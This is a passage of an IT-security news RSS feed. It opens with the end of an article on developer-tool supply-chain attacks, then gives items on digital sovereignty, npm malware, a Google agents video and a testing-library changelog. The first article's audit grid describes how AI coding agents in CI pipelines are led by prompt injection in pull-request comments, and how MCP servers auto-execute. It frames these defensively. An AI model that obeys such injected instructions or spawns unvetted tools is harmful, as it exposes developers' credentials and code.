one poisoned document in a vector store launches a process on the host.</p><p>LayerX security researchers separately demonstrated that Cursor stores API keys and session tokens in unprotected storage, meaning any browser extension can access developer credentials without elevated permissions.</p><h2>The threat actors hunting these credentials doubled their operational tempo </h2><p>The <a href="https://www.verizon.com/business/resources/T1ae/reports/2026-dbir-data-breach-investigations-report.pdf">Verizon 2026 Data Breach Investigations Report</a>, released May 19, found that 67% of employees access AI services from non-corporate accounts on corporate devices. Shadow AI is now the third most common non-malicious insider action in DLP datasets. Source code leads all data types submitted to unauthorized AI platforms — the same asset class the npm worm campaign targeted.</p><p>The <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-2026-financial-services-threat-landscape-report/">CrowdStrike 2026 Financial Services Threat Landscape Report</a>, released May 14, documents the adversaries actively hunting the credential types these attacks harvest.</p><p>STARDUST CHOLLIMA tripled its operational tempo against financial entities in Q4 2025. CrowdStrike documented the group using AI-generated recruiter personas on LinkedIn and Telegram, sending malicious coding challenges that looked like technical assessments, and running fake video calls with synthetic environments. The targets are GitHub PATs, npm tokens, AWS keys, and CI/CD secrets. The shadow AI exposure in grid row 7 is the door they walk through.</p><h2>Developer Tool Stolen-Identity Audit Grid </h2><p>No vendor framework currently scopes all seven surfaces. This grid maps each one to the research that exposed it, what your stack cannot see, and the audit action to take before the next vendor renewal.</p><table><tbody><tr><td><p>Attack Surface</p></td><td><p>Disclosed By</p></td><td><p>What Verification Failed</p></td><td><p>What Your Stack Cannot See</p></td><td><p>Audit Action</p></td></tr><tr><td><p>1. npm provenance forgery</p></td><td><p>Endor Labs, Socket (May 19)</p></td><td><p>Sigstore certificates generated from stolen OIDC tokens pass automated verification</p></td><td><p>EDR and SAST do not validate whether the CI identity that signed a package authorized the publish</p></td><td><p>Require publish-time two-party approval for packages with more than 10,000 weekly downloads. Do not treat a green Sigstore badge as proof of legitimacy</p></td></tr><tr><td><p>2. VS Code extension credential theft</p></td><td><p>StepSecurity (May 18)</p></td><td><p>VS Code Marketplace accepted a malicious extension version published with a stolen contributor token</p></td><td><p>Extension auto-updates bypass endpoint detection. Marketplace window 12:30 to 12:48 UTC; overall exposure (including Open VSX) 12:30 to 13:09 UTC</p></td><td><p>Enforce minimum-age policies for extension updates. Pin critical extension versions. Audit all extensions with access to terminal or file system APIs</p></td></tr><tr><td><p>3. MCP server auto-execution</p></td><td><p>Adversa AI, TrustFall (May 7)</p></td><td><p>All four CLI trust dialogs default to “Yes/Trust” without enumerating which executables will spawn</p></td><td><p>EDR monitors process behavior, not what an LLM instructs an MCP server to do. WAF inspects HTTP payloads, not tool-call intent</p></td><td><p>Disable project-scoped MCP server auto-approval in Claude Code, Gemini CLI, Cursor CLI, and Copilot CLI. Block .mcp.json in CI pipelines unless explicitly allowlisted</p></td></tr><tr><td><p>4. CI/CD agent prompt injection</p></td><td><p>Johns Hopkins, Comment and Control (April 2026)</p></td><td><p>GitHub Actions workflows using pull_request_target inject secrets into runner environments that AI agents process as instructions</p></td><td><p>SIEM logs show an API call from a legitimate GitHub Action. The call itself is the attack. No anomalous network signature exists</p></td><td><p>Migrate AI code review workflows to pull_request trigger. Audit all workflows using pull_request_target with secret access for AI agent integrations</p></td></tr><tr><td><p>5. Agent framework code execution</p></td><td><p>Microsoft MSRC (May 7)</p></td><td><p>Semantic Kernel Python SDK routed vector store filter fields into eval(). .NET SDK exposed host file-write as a callable kernel function</p></td><td><p>Application firewalls inspect input payloads. They do not inspect how an orchestration framework parses those payloads internally</p></td><td><p>Update Semantic Kernel Python SDK to 1.39.4 and .NET SDK to 1.71.0. Audit all agent frameworks for functions tagged as model-callable that access host file system or shell</p></td></tr><tr><td><p>6. IDE credential storage exposure</p></td><td><p>LayerX (April 2026)</p></td><td><p>Cursor stores API keys and session tokens in unprotected storage accessible to any installed browser extension</p></td><td><p>DLP monitors data in transit. Cursor credentials at rest are invisible to DLP because no egress event occurs until the extension exfiltrates</p></td><td><p>Audit developer tools for credential storage practices. Require protected storage (OS keychain, encrypted credential stores) for all AI coding tool configurations</p></td></tr><tr><td><p>7. Shadow AI data exposure</p></td><td><p>Verizon 2026 DBIR (May 19)</p></td><td><p>67% of employees access AI services from non-corporate accounts on corporate devices. Source code is the leading data type submitted</p></td><td><p>CASB policies cover sanctioned SaaS. Non-corporate AI accounts on corporate devices operate outside CASB scope entirely</p></td><td><p>Deploy browser-layer AI governance that monitors non-corporate AI usage on corporate devices. Inventory AI browser extensions across the organization</p></td></tr></tbody></table><h2>Security director action plan</h2><p><b>Security directors may want to run this grid against current vendor contracts before Q2 renewals close </b>— asking each vendor which of the seven surfaces their product covers, and treating the non-answers as the gap map.</p><p><b>Any credential accessible from a developer machine or CI runner that installed affected npm packages between 01:39 and 02:18 UTC on May 19 should be considered compromised</b>. That includes GitHub PATs, npm tokens, AWS access keys, Kubernetes service account tokens, HashiCorp Vault tokens, SSH keys, and 1Password vault contents.</p><p><b>AI coding agent integrations running in CI/CD pipelines with pull_request_target workflows deserve a close look.</b> Each one is a prompt injection surface that processes PR comments as agent instructions.</p><p><b>Procurement teams evaluating AI coding tools should consider adding a stolen-identity resistance dimension to vendor assessments.</b> The question worth asking: can the vendor demonstrate how their tool distinguishes a legitimate maintainer publish from an attacker using compromised credentials? If they cannot, the tool is not a verification layer.</p><p>The developer tool supply chain has the same problem IAM had a decade ago: credentials prove who you claim to be, not who you are. IAM got a 10-year head start on compensating controls before nation-state groups turned credential theft into an industrial operation. The AI coding tool ecosystem is starting that clock now.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How concerned should CIOs be with geopolitics?]]></title>
<description><![CDATA[Digital sovereignty is becoming more of a headline, jumping from a specific area of technology to mainstream media and geopolitical analysis. The catalyst of this shift comes from growing global tensions, and resulting talk about reducing dependence on third-party countries for tech and innovatio...]]></description>
<link>https://tsecurity.de/de/3539099/it-security-nachrichten/how-concerned-should-cios-be-with-geopolitics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3539099/it-security-nachrichten/how-concerned-should-cios-be-with-geopolitics/</guid>
<pubDate>Fri, 22 May 2026 12:09:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Digital sovereignty is becoming more of a headline, jumping from a specific area of technology to mainstream media and geopolitical analysis. <a href="https://www.cio.com/article/4038164/why-cios-need-to-respond-to-digital-sovereignty-now.html?utm=hybrid_search">The catalyst of this shift</a> comes from growing global tensions, and resulting talk about reducing dependence on third-party countries for tech and innovation, resilience to potential failures and disconnections, and increasingly more sophisticated cyber threats.</p>



<p>“Geopolitics has made a strong impact on company boards,” says Manel Barahona, partner of enterprise technology at Deloitte. “Sovereignty as it relates to technology is consolidating as a top strategic priority, so where the tech is built and operated is as relevant as what the technology is capable of doing.”</p>



<p><a href="https://www.forrester.com/blogs/europes-2026-tech-spend-exceeds-e1-5-trillion-driven-by-ai-cloud-and-sovereignty/" rel="nofollow">Forrester’s projections on the IT market</a> indicate that investment in AI, cloud, and data sovereignty technology in Europe will climb by 6.3% by the end of this year, reaching an all-time high of €1.5 trillion. Sovereignty alone is becoming a defining issue, according to analysis, as the aim is to break free from external dependence. This also impacts cloud computing, where US firms have dominated the European market until now. And in AI, investment in on-prem data centers is accelerating. Gartner has also identified <a href="https://www.cio.com/article/4131458/geopatriacion-and-sovereign-cloud-how-data-returns-to-its-origin.html?utm=hybrid_search">geopatriation</a> as a major issue shaping how data is returning to its origin.</p>



<p>“At a strategic level, sovereignty is something that needs to be on the table,” says Álvaro Ontañón, CIO of Merlin Properties. He believes it already is but it’s gaining importance due to macroeconomic factors starting to directly influence all business scenarios.</p>



<p>It’s also important for CEOs to ask about technological sovereignty, and to analyze how a potential problem with the tech’s country of origin could affect the company’s status. “This discussion is starting to take place at all levels, not just among technologists, but with regulators, politicians, and institutions,” says Ontañón.</p>



<p>How all this impacts the decisions CIOs make and what sets the agenda, are also complex and quickly evolving.</p>



<h2 class="wp-block-heading">Geopolitics enters into pragmatic decisions</h2>



<p>Everything is now so interconnected that a pragmatic approach is to think in geopolitical terms. “Global uncertainty forces us to manage the short term very well, but also to build capabilities that ensure continuity and competitiveness in the medium and long term,” says David Marimón, CIO and VP of Coca-Cola European Partners, Iberia.</p>



<p>Preparing for the future is an integral part of daily operations, he adds, and improving key areas such as data quality, automation, and process simplification ensures a more effective response today, and a more solid foundation for tomorrow.</p>



<p>“We invest in technology to make better decisions, react quicker, and operate with greater stability, addressing urgent matters while keeping in mind that the best way to prepare for uncertainty is to have a robust technological and operational base,” he says.</p>



<p>All of this can impact how the market is organized, what decisions are made, and even which players dominate distribution of <a href="https://www.cio.com/article/4168666/cios-rise-to-the-global-challenge.html?utm=hybrid_search">IT solutions</a>. Sovereign cloud helps illustrate this because analysts already point out how it could be a positioning opportunity for regional providers, and hyperscalers already offer sovereign solutions, insisting that their global reach doesn’t conflict with local operations. But the change could extend to other areas of IT decision-making, too. </p>



<p>“Until now, natural inertia has led companies, with their CIOs at the forefront, to opt for market leaders in IT infrastructure,” Barahona says. “But CIOs are responsible for business continuity, not just systems.” This distinction means more factors weigh in the decisions they make. “In this role, minimizing risks of all kinds is key, with geopolitical risks being especially important,” he says, adding that 77% of companies already consider the country of origin of tech providers a key factor.</p>



<p>“It’s no longer just about performance or cost, but reducing critical dependencies, mitigating disruption risks, and ensuring alignment with legal frameworks and corporate values,” he continues. “The most advanced organizations are diversifying suppliers, evaluating local and regional capabilities, and designing hybrid architectures that allow them to maintain strategic optionality in the face of increasing regulatory, commercial and geopolitical changes.”</p>



<p>In such an increasingly complex environment, CIOs and companies are confronting unprecedented transformation needs, and technology is a key differentiator. “Technological dependence is a new strategic risk,” Barahona says. “CIOs have to find a balance between the pragmatism of finding solutions to address day-to-day issues, and making decisions that don’t compromise future risks.”</p>



<p>Geopolitics and technological sovereignty are important to <a href="https://www.cio.com/article/4166194/how-to-create-an-effective-business-continuity-plan-3.html?utm=hybrid_search">how companies operate today</a>. “Our approach is very pragmatic,” says Marimón. “We don’t address these issues as theoretical debates, but rather from the perspective of their impact on the business.”</p>



<h2 class="wp-block-heading">Aligning the CIO and business strategy</h2>



<p>All these adjustments are also happening in parallel with a <a href="https://www.cio.com/article/4107216/7-changes-to-the-cio-role-in-2026.html?utm=hybrid_search">change in the CIO’s position</a> on the board as it becomes increasingly crucial and decisive. This has also impacted the types of decisions they must make.</p>



<p>“The CIO has become a key member of management committees,” Barahona says. “There are no significant decisions in a company undergoing transformation where the technology agenda isn’t crucial.” So the head of technology must focus on the strategic vision without losing sight of current efficiencies.</p>



<p>This is also evident on the ground. “A significant part of the focus used to be on building, integrating, and standardizing,” says Marimón. “Today, that agenda has evolved toward a more cross-functional role closer to the business. The CIO no longer only guarantees the infrastructure, but also actively contributes to competitiveness, service quality, planning, employee experience, and commercial capabilities.” They don’t just simply choose technologies, but solve problems and generate value, while maintaining a balance between innovation, efficiency, and resilience.</p>



<p>To ensure that resilience, foresight is more important than ever for CIOs, says Ontañón, considering recruitment budgets, day-to-day operational resources, and escalating prices for devices developing so rapidly that they become obsolete within weeks.</p>



<p>How IT departments adapt to these evolving concerns varies but combining strategic vision with operational flexibility requires simpler processes, more connected platforms, better data access, and working in lockstep with the rest of the business, says Marimón. “High-pressure situations significantly accelerate learning,” he says, “and that agility isn’t only technological, but organizational and cultural, and it requires continuous investment in people and their ability to adapt.”</p>



<p>The learning opportunities CIOs faced in the last decade were a succession of black swans, from the COVID-19 pandemic to current tensions in the Middle East. In tech, this forces CIOs to be prepared for anything. The entire conversation about technological sovereignty is, in fact, closely linked, considering the spectre of not being able to rely on external technology.</p>



<p> “If we truly care, we must take a medium- to long-term view, and initiate a process of efficiently and effectively reinvesting in technology,” Ontañón says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini Shai-Hulud Malware Targets @antv Packages To Harvest CI/CD Secrets]]></title>
<description><![CDATA[Microsoft researchers have uncovered an active supply chain attack targeting the popular @antv Node Package Manager (npm) ecosystem. Threat actors compromised a maintainer account to distribute the “Mini Shai-Hulud” malware via widely used data visualization libraries. This breach caused massive ...]]></description>
<link>https://tsecurity.de/de/3538549/it-security-nachrichten/mini-shai-hulud-malware-targets-antv-packages-to-harvest-cicd-secrets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3538549/it-security-nachrichten/mini-shai-hulud-malware-targets-antv-packages-to-harvest-cicd-secrets/</guid>
<pubDate>Fri, 22 May 2026 08:23:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft researchers have uncovered an active supply chain attack targeting the popular @antv Node Package Manager (npm) ecosystem. Threat actors compromised a maintainer account to distribute the “Mini Shai-Hulud” malware via widely used data visualization libraries. This breach caused massive downstream impacts, infecting libraries like echarts-for-react, which averages over one million weekly downloads. The malicious […]</p>
<p>The post <a href="https://cyberpress.org/mini-shai-hulud-steals-secrets/">Mini Shai-Hulud Malware Targets @antv Packages To Harvest CI/CD Secrets</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building agents with real-world reasoning]]></title>
<description><![CDATA[Author: Google for Developers - Bewertung: 0x - Views:24 Production agents for travel, logistics, and consumer apps demand rigorous real-world reasoning. Learn how to build grounded, production-ready agents using Gemini 3, Maps Grounding Lite, and Google Maps Platform. Explore how to connect LLMs...]]></description>
<link>https://tsecurity.de/de/3537374/videos/building-agents-with-real-world-reasoning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3537374/videos/building-agents-with-real-world-reasoning/</guid>
<pubDate>Thu, 21 May 2026 19:32:41 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Google for Developers - Bewertung: 0x - Views:24 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/e7gFaim6vLs?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Production agents for travel, logistics, and consumer apps demand rigorous real-world reasoning. Learn how to build grounded, production-ready agents using Gemini 3, Maps Grounding Lite, and Google Maps Platform. Explore how to connect LLMs to physical-world logic and understand real-world use cases to turn agentic concepts into scalable production solutions.<br />
<br />
Resources: <br />
Google Maps Platform Overview → https://goo.gle/4dMxrCb<br />
Google Maps Samples on GitHub → https://goo.gle/4eM6f7L<br />
Maps Grounding Lite → https://goo.gle/3Rp3LCr<br />
Google GenAI Python SDK (GitHub) → https://goo.gle/3PFu3jr<br />
Geocoding API Documentation → https://goo.gle/4uxVjzL<br />
Maps JavaScript API - Map3D Documentation → https://goo.gle/497aZRD<br />
Vis.gl React Google Maps Library → https://goo.gle/4nQMVc5<br />
<br />
Speakers: Caio Moreira, Ken Nevarez<br />
<br />
Watch the AI sessions from Google I/O 2026 → https://goo.gle/AI-at-IO26<br />
<br />
Subscribe to Google for Developers → https://goo.gle/developers <br />
<br />
<br />
#GoogleIO<br />
<br />
<br />
Event: Google I/O 2026<br />
<br />
Products Mentioned: AI/Machine Learning, Location/Maps, Web<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.27]]></title>
<description><![CDATA[0.7.27 (2026-05-21)
Features

#350: voice agents — first-class voice in scenario.run() (#355) (128ac94)
#452: voice docs surface — legacy deprecation + new section scaffold (#456) (1b07abb)
add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
ci/#364: add pr-auto-a...]]></description>
<link>https://tsecurity.de/de/3536640/it-security-tools/python-v0727/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536640/it-security-tools/python-v0727/</guid>
<pubDate>Thu, 21 May 2026 16:03:44 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.26...python/v0.7.27">0.7.27</a> (2026-05-21)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269762879" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/350" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/350/hovercard" href="https://github.com/langwatch/scenario/issues/350">#350</a>:</strong> voice agents — first-class voice in scenario.run() (<a href="https://github.com/langwatch/scenario/issues/355" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/355/hovercard">#355</a>) (<a href="https://github.com/langwatch/scenario/commit/128ac947d7c3412b57acb6d15358e96b0af4a1ad">128ac94</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4420741187" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/452" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/452/hovercard" href="https://github.com/langwatch/scenario/issues/452">#452</a>:</strong> voice docs surface — legacy deprecation + new section scaffold (<a href="https://github.com/langwatch/scenario/issues/456" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/456/hovercard">#456</a>) (<a href="https://github.com/langwatch/scenario/commit/1b07abbfaf503408368f4f82b8ab8319cbfd366a">1b07abb</a>)</li>
<li>add GOAT strategy with dynamic technique selection for RedTeamAgent (<a href="https://github.com/langwatch/scenario/issues/346" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/346/hovercard">#346</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>ci/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276120003" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/364" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/364/hovercard" href="https://github.com/langwatch/scenario/issues/364">#364</a>:</strong> add pr-auto-approve.yml as passive observer (PR <a href="https://github.com/langwatch/scenario/issues/1" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/1/hovercard">#1</a> of 4) (<a href="https://github.com/langwatch/scenario/issues/485" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/485/hovercard">#485</a>) (<a href="https://github.com/langwatch/scenario/commit/4d8459710e566ac90ad731164a4506f6d81365eb">4d84597</a>)</li>
<li><strong>red-team:</strong> zero-friction report dashboard — auto-save + <code>scenario redteam-report</code> CLI (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>deps:</strong> bump filelock to &gt;=3.20.3 for TOCTOU/symlink CVEs (<a href="https://github.com/langwatch/scenario/issues/481" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/481/hovercard">#481</a>) (<a href="https://github.com/langwatch/scenario/commit/479ec8218afcc2f92632dbdce4b71e963fcf953b">479ec82</a>)</li>
<li><strong>deps:</strong> bump pytest to &gt;=9.0.3 for <a title="CVE-2025-71176" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6w46-j5rx-g56g/hovercard" href="https://github.com/advisories/GHSA-6w46-j5rx-g56g">CVE-2025-71176</a> (<a href="https://github.com/langwatch/scenario/issues/479" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/479/hovercard">#479</a>) (<a href="https://github.com/langwatch/scenario/commit/4f4ffd4bdbe829dd06e534c69e1ee7be25164917">4f4ffd4</a>)</li>
<li><strong>deps:</strong> bump python-liquid to &gt;=2.2.0 for high severity CVE (<a href="https://github.com/langwatch/scenario/issues/459" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/459/hovercard">#459</a>) (<a href="https://github.com/langwatch/scenario/commit/60bad7633208bb72056408bf3b6c0b9824c21915">60bad76</a>)</li>
<li><strong>deps:</strong> bump urllib3 to &gt;=2.7.0 for high severity CVEs (<a href="https://github.com/langwatch/scenario/issues/457" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/457/hovercard">#457</a>) (<a href="https://github.com/langwatch/scenario/commit/50c3cea6acdefaf65b9b84a925db41a206b15cce">50c3cea</a>)</li>
<li><strong>deps:</strong> bump virtualenv to &gt;=20.36.1 for <a title="CVE-2026-22702" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-597g-3phw-6986/hovercard" href="https://github.com/advisories/GHSA-597g-3phw-6986">CVE-2026-22702</a> (<a href="https://github.com/langwatch/scenario/issues/483" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/483/hovercard">#483</a>) (<a href="https://github.com/langwatch/scenario/commit/8f1069002fa968e9ce17874bbb15b86e24714228">8f10690</a>)</li>
<li><strong>deps:</strong> override minimatch to &gt;=9.0.6 (<a title="CVE-2026-26996" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-3ppc-4f35-3m26/hovercard" href="https://github.com/advisories/GHSA-3ppc-4f35-3m26">CVE-2026-26996</a>) (<a href="https://github.com/langwatch/scenario/issues/395" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/395/hovercard">#395</a>) (<a href="https://github.com/langwatch/scenario/commit/ceb0b59e6a96fe27adf865f03aa1de8a9ea03357">ceb0b59</a>)</li>
<li><strong>deps:</strong> resolve 4 high-severity Dependabot security alerts (<a href="https://github.com/langwatch/scenario/issues/393" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/393/hovercard">#393</a>) (<a href="https://github.com/langwatch/scenario/commit/97f257ddc30a6bd7a9cca65e2e62e0ed0c688085">97f257d</a>)</li>
<li><strong>docs:</strong> exclude scenario.report.app from pdoc to unblock Publish Docs (<a href="https://github.com/langwatch/scenario/issues/388" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/388/hovercard">#388</a>) (<a href="https://github.com/langwatch/scenario/commit/3736c871d74bef4c81b696882786e84e23cf86e8">3736c87</a>)</li>
<li><strong>examples:</strong> stabilize custom LLM judge criteria matching (<a href="https://github.com/langwatch/scenario/issues/396" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/396/hovercard">#396</a>) (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>examples:</strong> stabilize vegetarian-agent parallel tests on python-ci (<a href="https://github.com/langwatch/scenario/issues/389" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/389/hovercard">#389</a>) (<a href="https://github.com/langwatch/scenario/commit/e40eee3276bbe967ab4ac465b3cd9048f74c8421">e40eee3</a>)</li>
<li><strong>examples:</strong> strengthen vegetarian-agent prompt to stabilize parallel tests (<a href="https://github.com/langwatch/scenario/commit/e40eee3276bbe967ab4ac465b3cd9048f74c8421">e40eee3</a>)</li>
<li><strong>examples:</strong> use positional index matching in custom judge examples (<a href="https://github.com/langwatch/scenario/commit/f4b536cf12a6d525b487c672f9451390e13957c7">f4b536c</a>)</li>
<li><strong>judge:</strong> harden forceVerdict so discovery tools cannot leak (JS + Python) (<a href="https://github.com/langwatch/scenario/issues/377" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/377/hovercard">#377</a>) (<a href="https://github.com/langwatch/scenario/commit/0e2859f5ec1c171fa3d3d6f89b7d59555be6b95b">0e2859f</a>)</li>
<li><strong>red-team:</strong> annotate H_attacker when post-hoc injection fires (<a href="https://github.com/langwatch/scenario/issues/326" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/326/hovercard">#326</a>, <a href="https://github.com/langwatch/scenario/issues/334" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/334/hovercard">#334</a>) (<a href="https://github.com/langwatch/scenario/commit/2896c97e9a534a9ff1817904053a6af4f1ad06a4">2896c97</a>)</li>
<li><strong>security:</strong> bump litellm to fix 4 high-severity CVEs (<a href="https://github.com/langwatch/scenario/issues/411" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/411/hovercard">#411</a>) (<a href="https://github.com/langwatch/scenario/commit/f6ff8a3b4e4d34df6d9a6b72c0a69afa8daaea3b">f6ff8a3</a>)</li>
<li><strong>security:</strong> patch <a title="CVE-2026-27903" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7r86-cg39-jmmj/hovercard" href="https://github.com/advisories/GHSA-7r86-cg39-jmmj">CVE-2026-27903</a> in minimatch (<a href="https://github.com/langwatch/scenario/issues/398" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/398/hovercard">#398</a>) (<a href="https://github.com/langwatch/scenario/commit/b61cc6005645b7703788c02c6cb4d134559e339b">b61cc60</a>)</li>
<li><strong>security:</strong> patch flatted prototype pollution via parse() (<a href="https://github.com/langwatch/scenario/issues/421" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/421/hovercard">#421</a>) (<a href="https://github.com/langwatch/scenario/commit/3a20e6c57bb81583144cb643d3fcac390f66af3b">3a20e6c</a>)</li>
<li><strong>security:</strong> patch glob CLI command injection in lovable_clone npm lockfile (<a href="https://github.com/langwatch/scenario/issues/413" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/413/hovercard">#413</a>) (<a href="https://github.com/langwatch/scenario/commit/d1b3297c47e28dfac2b1940c24223a3e32ec89ba">d1b3297</a>)</li>
<li><strong>security:</strong> patch glob CLI command injection in lovable_clone template npm lockfile (<a href="https://github.com/langwatch/scenario/commit/d1b3297c47e28dfac2b1940c24223a3e32ec89ba">d1b3297</a>)</li>
<li><strong>security:</strong> patch picomatch ReDoS in lovable_clone npm lockfile (<a href="https://github.com/langwatch/scenario/issues/409" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/409/hovercard">#409</a>) (<a href="https://github.com/langwatch/scenario/commit/70a5ff9e5ecfddc7c20eeb62cab7e8fa77240017">70a5ff9</a>)</li>
<li><strong>security:</strong> patch react-router XSS and open redirect CVEs (<a href="https://github.com/langwatch/scenario/issues/418" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/418/hovercard">#418</a>) (<a href="https://github.com/langwatch/scenario/commit/2b6797acd9063adb71b6d6ea80070aaf17431bb6">2b6797a</a>)</li>
<li><strong>security:</strong> patch rollup arbitrary file write via path traversal (<a href="https://github.com/langwatch/scenario/issues/399" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/399/hovercard">#399</a>) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> patch rollup path traversal CVE (&gt;= 4.0.0, &lt; 4.59.0) (<a href="https://github.com/langwatch/scenario/commit/55a02598ad8d245dfac159357b17c8d89192b824">55a0259</a>)</li>
<li><strong>security:</strong> upgrade aiohttp to fix zip bomb and other CVEs (<a href="https://github.com/langwatch/scenario/issues/417" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/417/hovercard">#417</a>) (<a href="https://github.com/langwatch/scenario/commit/a747624520eb9e6370a3e596baadba2610ef08f6">a747624</a>)</li>
<li><strong>security:</strong> upgrade black to fix arbitrary file write CVE (<a href="https://github.com/langwatch/scenario/issues/403" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/403/hovercard">#403</a>) (<a href="https://github.com/langwatch/scenario/commit/65839421f3bc2aa1162c9c122f3015caa4794331">6583942</a>)</li>
<li><strong>security:</strong> upgrade black to fix arbitrary file write via cache file name (<a href="https://github.com/langwatch/scenario/commit/65839421f3bc2aa1162c9c122f3015caa4794331">6583942</a>)</li>
<li><strong>security:</strong> upgrade mcp Python SDK to fix DoS and DNS rebinding CVEs (<a href="https://github.com/langwatch/scenario/issues/406" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/406/hovercard">#406</a>) (<a href="https://github.com/langwatch/scenario/commit/25e2e1ca56fb860f1ec4b436f95b44f4b6ba51ac">25e2e1c</a>)</li>
<li><strong>security:</strong> upgrade pyasn1 to fix DoS via unbounded recursion (<a href="https://github.com/langwatch/scenario/commit/2880a73233d0fd5d7c6445d5bfaa5bb84048e8d9">2880a73</a>)</li>
<li><strong>security:</strong> upgrade pyasn1 to fix DoS vulnerabilities (<a href="https://github.com/langwatch/scenario/issues/401" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/401/hovercard">#401</a>) (<a href="https://github.com/langwatch/scenario/commit/2880a73233d0fd5d7c6445d5bfaa5bb84048e8d9">2880a73</a>)</li>
<li><strong>security:</strong> upgrade pydantic-ai to fix SSRF vulnerability (<a href="https://github.com/langwatch/scenario/issues/405" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/405/hovercard">#405</a>) (<a href="https://github.com/langwatch/scenario/commit/f7ec414375ca165c62bf231f6aa0e988b3140d84">f7ec414</a>)</li>
<li><strong>security:</strong> upgrade python-multipart to fix arbitrary file write CVE (<a href="https://github.com/langwatch/scenario/issues/407" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/407/hovercard">#407</a>) (<a href="https://github.com/langwatch/scenario/commit/1f2bb80e4fdf70fa600f09c23f30fed01995f3d1">1f2bb80</a>)</li>
